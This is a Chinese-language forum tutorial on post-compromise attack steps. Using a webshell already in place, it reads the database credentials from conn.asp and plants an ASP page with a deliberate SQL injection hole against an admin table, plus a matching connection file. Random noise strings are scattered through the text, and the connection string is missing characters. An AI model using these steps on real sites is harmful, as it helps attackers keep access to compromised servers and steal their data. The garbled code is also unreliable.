首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表。因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:
' f+ X7 u( c. [7 o. W$ C' JASP/Visual Basic代码
% ]/ _: Q7 }" t, L5 s<!--#include file="xx.asp"--> % a- v& \+ }: y
<%
, }( L J# w A5 qset rs=server.createobject("ADODB.recordset") 8 @: K% S5 C* T
id = request("id")
" C/ h3 b/ j! {. v5 J9 EstrSQL = "select * from admin where id=" & id 5 v$ Q' g- s2 c
rs.open strSQL,conn,1,3 * H1 A4 b5 D; Z+ ^- g
rs.close
) X9 |1 Y- x/ Q1 y s; g%>
$ R! `0 N8 [0 I$ o( W把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在。你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!. f) ~$ w* y9 j1 f2 r4 R
然后就要构造一个连接数据库的文件了,代码如下:
9 l) _, J( Z) P5 vASP/Visual Basic代码* I$ d6 d( U/ a! F$ o: O# V2 X4 o$ ^
<%
1 J/ C5 \. f' @3 L& {strSQLServerName = "000.000.000.000" '服务器名称或地址 / O5 w8 L @; S% i2 R
strSQLDBUserName = "sqlname" '数据库帐号
4 s I( v7 `- X% z o) o7 ?strSQLDBPassword = "sqlpass" '数据库密码
- W/ i- \3 e' ]* ~9 K$ bstrSQLDBName = "sqldataname" '数据库名称
0 O$ T7 B# P9 W& V) B9 ZSet conn = Server.CreateObject("ADODB.Connection") . j1 f$ D& J! g! G
strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";"
+ ~( R8 f2 l9 w% kconn.open strCon - X; A: u/ X! E" l5 m2 y+ A
%>
6 }/ O( _* J( F; F( Z8 l这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。就这样,正常情况下,就OK了,伪造成功5 N8 t% g4 r, D" i8 }* O
|